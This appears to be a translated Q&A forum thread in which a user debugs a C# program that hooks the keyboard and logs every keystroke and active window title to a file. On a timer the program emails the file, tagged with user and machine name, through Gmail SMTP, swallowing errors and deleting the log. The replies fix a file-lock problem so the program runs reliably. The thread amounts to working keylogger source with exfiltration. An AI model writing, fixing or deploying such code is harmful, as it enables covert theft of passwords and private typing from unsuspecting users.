发生C#System.IO.IOException HResult = 0x80070020

时间:2017-03-14 15:23:55

标签: c# file gmail

我的代码的新问题,昨晚100%工作。今天早上它给了我一些问题。 (没有改变)

当我运行代码将文件发送到Gmail时,我得到了

  

发生System.IO.IOException HResult = 0x80070020

但是当我评论发送电子邮件时(见代码),它可以正常工作。我不确定发生了什么。

代码:

public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
    {

          try
          {
              MailMessage mM = new MailMessage();
              mM.From = new MailAddress("username@gmail.com");
              mM.To.Add("username@gmail.com");
              mM.Subject = Environment.UserName + " / " + Environment.MachineName;
              mM.Attachments.Add(new Attachment(path));
              mM.Body = "Nothing";
             mM.IsBodyHtml = true;
             SmtpClient sC = new SmtpClient("smtp.gmail.com");
              sC.Port = 587;
             sC.Credentials = new NetworkCredential("username@gmail.com", "password");
            sC.EnableSsl = true;
             sC.Send(mM);
         }
         catch (Exception)
        {

        }

        //File.Delete(path);

    }

写入该文件的程序的另一部分是

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {

        int KeyCode = Marshal.ReadInt32(lParam);
        using (StreamWriter sw = new StreamWriter(path, true))
        {

                sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)


                if (!string.IsNullOrEmpty(active) && active != getTitle())
                {
                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }

                else if (string.IsNullOrEmpty(active))
                {
                    active = getTitle();
                    //sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }
                else
                {
                    sw.Write((Keys)KeyCode);

                }



        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }

2 个答案:

答案 0 :(得分:0)

我认为它无法删除文件,因为它正在使用中。尝试添加“使用”来处置MailMessage对象:

try
{
    using(MailMessage mM = new MailMessage())
    {
        // your code
    }
    File.Delete(path);
}
catch (Exception)
{
    // your code
}

答案 1 :(得分:0)

问题已解决,发生的事情是我的计时器设置错误。我假设计时器间隔是秒,而不是毫秒..所以计时器保持文件“忙”。所以代码很好。谢谢大家的帮助。